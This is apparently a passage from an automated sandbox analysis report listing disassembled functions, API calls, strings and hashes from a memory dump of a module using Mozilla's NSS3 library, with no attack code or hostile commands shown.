Part of subcall function 6CC03090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC030E5
Part of subcall function 6CC03090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC03116
Part of subcall function 6CC03090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC0312B
Part of subcall function 6CC03090: PK11_DestroyObject.NSS3(?,?), ref: 6CC03154
Part of subcall function 6CC03090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0317E

SECOID_FindOID_Util.NSS3(?), ref: 6CC6465E

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6CC64709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6CC64727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6CC6473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6CC64801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD22DA0,?,?,?,?,?,?,?,?,00000000), ref: 6CC6482E
PR_GetCurrentThread.NSS3 ref: 6CC648F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CC64923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CC64937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6CC6494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC64984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6CC621C2,?,?,?), ref: 6CC6499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC649B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6CC649C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CC649DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC649E9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 88128b753bef120580f78e3ade6e1858004fea65fd55143124cd48971fc3389e
Instruction ID: da9ae8980b6389eb44074a8c38484199e45600455468caf29c9d0725a525f08c
Opcode Fuzzy Hash: 88128b753bef120580f78e3ade6e1858004fea65fd55143124cd48971fc3389e
Instruction Fuzzy Hash: AB71D2B5E012049BFB10CA67DAE0BAE7669AF0531CF244029ED16ABF41F731D844CAA5

Function 6CBF2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(36C6D85A), ref: 6CBF2C5D

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CBF2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF2CE0

Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E
Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33
Part of subcall function 6CBF2E00: TlsGetValue.KERNEL32 ref: 6CBF2E4E
Part of subcall function 6CBF2E00: EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
Part of subcall function 6CBF2E00: PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
Part of subcall function 6CBF2E00: PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
Part of subcall function 6CBF2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
Part of subcall function 6CBF2E00: PR_Unlock.NSS3 ref: 6CBF2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CBF2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CBF2D3F
free.MOZGLUE(00000000), ref: 6CBF2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CBF2DB8
free.MOZGLUE ref: 6CBF2DC8

Part of subcall function 6CBF3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF3EC2
Part of subcall function 6CBF3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF3ED6
Part of subcall function 6CBF3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBF3EEE
Part of subcall function 6CBF3E60: PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF3F02
Part of subcall function 6CBF3E60: PL_FreeArenaPool.NSS3 ref: 6CBF3F14
Part of subcall function 6CBF3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF3F27

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: dc24dba26d56826b73253627ab44c4f3718d404ed10cd1b4a7be68ca155626cc
Instruction ID: c0b0ae7c90c54f424748c812d8091644a8e2cd9d44bcc8456fcb0c6a0c067170
Opcode Fuzzy Hash: dc24dba26d56826b73253627ab44c4f3718d404ed10cd1b4a7be68ca155626cc
Instruction Fuzzy Hash: C051D075A042A59BEB00DE68DC89B5B77E5EF84348F140428EC6583750E731E81ACBA3

Function 6CC18F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC1905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC190EC

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19111

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: b8b5ed80188f9d615a30b75fa64b541aa84534823c922ab2581259b5e345a5d2
Instruction ID: 6557f05a60681016fefe2183636210a13fe2d6ae8b06b45dac2464823925c45d
Opcode Fuzzy Hash: b8b5ed80188f9d615a30b75fa64b541aa84534823c922ab2581259b5e345a5d2
Instruction Fuzzy Hash: E051AD71A082048FEF00EF7AC488659BBF4BF49318F5545A9DD449BB15EB30E889CB81

Function 6CC40750 Relevance: 13.6, APIs: 9, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC407AA
EnterCriticalSection.KERNEL32(?,?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC407C7
PR_Unlock.NSS3(?,?,?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC407E5
PK11_GetNextSafe.NSS3 ref: 6CC40801
PR_Unlock.NSS3(?,?,?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC40817
TlsGetValue.KERNEL32(?,?,?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC40835
EnterCriticalSection.KERNEL32(?,?,?,?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC4084E
PR_Unlock.NSS3(?,?,?,?,?,74720406,6CC07296,00000000,?,6CC444FE,?,?,?,?,6CC07296,00000000), ref: 6CC40870
free.MOZGLUE(?,?,?,?,?,74720406), ref: 6CC4088F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$K11_NextSafefree
String ID:
API String ID: 810312292-0
Opcode ID: 7ade75971f2c50db49939b6b1de4ba124279526a1799b45e08d066a610d2bb98
Instruction ID: 52a6f0006d9a71c6d88dbdd5bda19add2c5ebb7844f6255faf394e177f9e2e02
Opcode Fuzzy Hash: 7ade75971f2c50db49939b6b1de4ba124279526a1799b45e08d066a610d2bb98
Instruction Fuzzy Hash: 9C413BB0A44646CFDB00EF69C58456EBBF4BF55348F10C929D9999BB11FB30E884CB92

Function 6CC80750 Relevance: 13.6, APIs: 9, Instructions: 79COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(00000130,00000000), ref: 6CC8076D

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECITEM_ZfreeItem_Util.NSS3(000000EC,00000000), ref: 6CC80787
SECITEM_ZfreeItem_Util.NSS3(000000F8,00000000), ref: 6CC807A1
PR_DestroyRWLock.NSS3(?), ref: 6CC807B4
free.MOZGLUE(?), ref: 6CC807C4
free.MOZGLUE(?), ref: 6CC807D5
CERT_DestroyCertificate.NSS3(?), ref: 6CC807E6
CERT_DestroyCertificate.NSS3(?), ref: 6CC8080A
SECITEM_ZfreeItem_Util.NSS3(-00000104,00000000), ref: 6CC8081B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Item_UtilZfree$Destroyfree$Certificate$Lock
String ID:
API String ID: 2711105989-0
Opcode ID: 7d05866abe046e9e9c47e3deb2938c01dca23a9105582ab3941829f856ea1b2b
Instruction ID: 5dcbac10629e26661cd2621101e13ef07c5b61a63969203d011505f92abc24a1
Opcode Fuzzy Hash: 7d05866abe046e9e9c47e3deb2938c01dca23a9105582ab3941829f856ea1b2b
Instruction Fuzzy Hash: 4921B6B2B03646A7EA00DA64DC45BD77B6C7B0064DF148530E619D2E41F730F5A8CAE1

Function 6CC6C790 Relevance: 13.6, APIs: 9, Instructions: 74COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC6C7AE
EnterCriticalSection.KERNEL32 ref: 6CC6C7C7
PK11_FreeSymKey.NSS3 ref: 6CC6C7E5
PK11_FreeSymKey.NSS3 ref: 6CC6C801
PK11_FreeSymKey.NSS3 ref: 6CC6C81D
PK11_FreeSymKey.NSS3 ref: 6CC6C839
PK11_FreeSymKey.NSS3 ref: 6CC6C855
PK11_FreeSymKey.NSS3 ref: 6CC6C871
PR_Unlock.NSS3 ref: 6CC6C891

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FreeK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 2586530110-0
Opcode ID: 5fc471808fc50b431c484b21fa9afc632e691e60d54f73df32b850a740f03c95
Instruction ID: e9c4e2fd4139d5603aba967bd26ab9f63da875d2b12beeaa1dbd2c1559004da3
Opcode Fuzzy Hash: 5fc471808fc50b431c484b21fa9afc632e691e60d54f73df32b850a740f03c95
Instruction Fuzzy Hash: 4E310872A05B018BEB20BF7AD58866BB7E4AF41608F818D6CC4D5C7B41EF34E458CB91

Function 6CC54DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CC5536F,00000022,?,?,00000000,?), ref: 6CC54E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CC54F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CC54F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CC54FAE
free.MOZGLUE(?), ref: 6CC54FC8

Strings

%s=%s, xrefs: 6CC54F89
%s=%c%s%c, xrefs: 6CC54FA9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: a6b57d227e1634d883dc7775e576afb6cd7edc9ecc364ad9d012b6eb1f70c7a5
Instruction ID: 2b5ff30044b7049c4d8ab4ff6b1ef06d438e3e4606382da444889a30c2355456
Opcode Fuzzy Hash: a6b57d227e1634d883dc7775e576afb6cd7edc9ecc364ad9d012b6eb1f70c7a5
Instruction Fuzzy Hash: D9514B31B051458BEB01CA6EC4907FFBBF5AF42308F988225E894A7B41F37598758799

Function 6CD02680 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6CD0269F
calloc.MOZGLUE(00000014,00000008), ref: 6CD026E0
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD026F4

Strings

PR_Poll(), xrefs: 6CD02695
PR_Select(), xrefs: 6CD0269A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Errorcallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 1459587281-3034026096
Opcode ID: 8a4bb9396c3b90287e6e085e2a58cb96bd07c595c9be2c11127d8f31b61ea8fd
Instruction ID: 69bce836dcbc7f00b255fbed486eb99a7297c0b7c612787cf7fb2cf9b467856e
Opcode Fuzzy Hash: 8a4bb9396c3b90287e6e085e2a58cb96bd07c595c9be2c11127d8f31b61ea8fd
Instruction Fuzzy Hash: 0C61BF75B02616CFDB00DF5DC8487AAB7B5FF88309F248129D928AB7A1E730D944CB91

Function 6CCC2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC2FFD
sqlite3_initialize.NSS3 ref: 6CCC3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCC3032
sqlite3_mprintf.NSS3(6CD2AAF9,?), ref: 6CCC3073
sqlite3_free.NSS3(?), ref: 6CCC30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CCC30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CCC30BB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: c0bfbd24d98b147b6faae4c550b749fe39f4a1bd43c57fc4ef14bfd018ff2b21
Instruction ID: 72c0ab2563110a670608151b98644bdcbf179b942856a341b3f0a12e0955fa49
Opcode Fuzzy Hash: c0bfbd24d98b147b6faae4c550b749fe39f4a1bd43c57fc4ef14bfd018ff2b21
Instruction Fuzzy Hash: 5C418372700606ABDB10CF25D880A8AB7B5FF44359F198629EC5987B40F731F996CBD2

Function 6CC08CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC1124D,00000001), ref: 6CC08D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC1124D,00000001), ref: 6CC08D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08D73
PR_Unlock.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08D8C

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08DBA

Strings

KRAM, xrefs: 6CC08CF9
KRAM, xrefs: 6CC08D3E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 0bccfbc6f830bca44e53608675322a35938d048936fbf92a4037fc5f9e192576
Instruction ID: ca04f511d372ccf149912dddfae89a1054514c7f9887e536f4414301974fc888
Opcode Fuzzy Hash: 0bccfbc6f830bca44e53608675322a35938d048936fbf92a4037fc5f9e192576
Instruction Fuzzy Hash: 41216BB1B047028BDB00AF39C484A5ABBF4BF45308F15CAAAD98887701EB35D845CB91

Function 6CD00ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD00EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD00EFA

Part of subcall function 6CBEAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBEAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F2B

Strings

Aborting, xrefs: 6CD00EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD00ED9, 6CD00EE5, 6CD00F06, 6CD00F0B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: eedac35080bbfee8a331f0c01474de4f476e3805db5f9c900c075b968c276e56
Instruction ID: 136806ba5ac47ef87f2159b68fd501c7ea74d02ea426749c42efb9a6c7df9570
Opcode Fuzzy Hash: eedac35080bbfee8a331f0c01474de4f476e3805db5f9c900c075b968c276e56
Instruction Fuzzy Hash: F401C4B5A00114BBEF016F58DC4589B3F7CDF872A8B014064FE0997721D731E9149BE2

Function 6CD007B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBE1FA7,WinDebug,00000000,00000001,?,6CBE1FA7,00000000), ref: 6CD007BE
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(6CBE1FA7,6CD2843A,6CBE1FA7,00000000), ref: 6CD007E0
setvbuf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000004,00000000), ref: 6CD007F6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,6CBE1FA7,00000000), ref: 6CD00812
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD00827
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD0083F

Strings

WinDebug, xrefs: 6CD007B8

Memory Dump Source

